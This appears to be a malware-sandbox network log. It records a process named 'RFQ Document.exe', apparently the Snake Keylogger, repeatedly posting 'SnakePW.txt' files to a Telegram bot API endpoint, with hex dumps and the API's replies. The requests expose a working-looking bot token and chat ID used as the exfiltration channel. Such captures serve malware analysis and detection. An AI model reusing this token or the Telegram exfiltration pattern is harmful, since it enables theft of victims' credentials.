2021-09-28 05:58:58 UTC	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:58 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:58 UTC	196	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 30 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12708,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808738,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.4	49922	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:58 UTC	196	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d82436fb Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:58 UTC	196	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 38 32 34 33 36 66 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d82436fbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:58 UTC	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:58 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:58 UTC	197	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12709,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808738,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.4	49923	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:58 UTC	198	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d840d70d Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:58 UTC	198	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 38 34 30 64 37 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d840d70dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:58 UTC	198	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:58 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:58 UTC	199	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12710,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808738,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.4	49924	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:58 UTC	199	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d85fd29c Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:58 UTC	200	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 38 35 66 64 32 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d85fd29cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:58 UTC	200	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:58 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:58 UTC	200	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12711,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808738,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.4	49925	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:58 UTC	201	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d87ed04b Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:58 UTC	201	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 38 37 65 64 30 34 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d87ed04bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:58 UTC	202	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:58 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:58 UTC	202	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12712,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808738,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.4	49926	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:58 UTC	203	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d896a7dc Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:58 UTC	203	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 38 39 36 61 37 64 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d896a7dcContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:58 UTC	203	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:58 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:58 UTC	204	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 38 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12713,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808738,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.4	49927	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:59 UTC	204	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d8b3451c Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:59 UTC	204	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 38 62 33 34 35 31 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d8b3451cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:59 UTC	205	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:59 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:59 UTC	205	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12714,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808739,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.4	49928	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:59 UTC	206	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d8cb1d71 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:59 UTC	206	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 38 63 62 31 64 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d8cb1d71Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:59 UTC	206	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:59 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:59 UTC	207	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 33 39 2c 22 64 Data Ascii: 